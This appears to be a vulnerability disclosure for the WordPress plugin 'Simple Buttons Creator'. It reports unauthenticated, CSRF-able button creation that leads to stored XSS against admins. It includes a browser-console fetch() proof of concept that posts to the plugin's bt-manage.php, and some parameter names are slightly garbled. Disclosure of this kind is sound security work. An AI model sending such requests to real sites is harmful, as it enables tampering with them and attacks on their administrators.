Description The plugin does not have any authorisation as well as CSRF in its add button function, allowing unauthenticated users to call them either directly or via CSRF attacks. Furthermore, due to the lack of sanitisation and escaping, it could also allow them to perform Stored Cross-Site Scripting attacks against logged in admins.
As a non-logged in visitor, run the following in the browser console (replace <>
with any number): fetch("/wp-content/plugins/simple-buttons-creator/bt-manage.php?page=sbc-new&method;=post", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": 'button_id=<>&bt;_name=CSRF909&bt;_text=CSRF&bt;_link=CSRF&bt;_bg_color=CSRF&bt;_txt_color=CSRF&bt;_font_size=&bt;_border_radius=&bt;_css=', "credentials": "include" }).then(response => response.text()) .then(data => console.log(data));
As an admin, go to: https://example.com/wp-admin/admin.php?page=simple-buttons&method;=edit&id;=<> and see the XSS.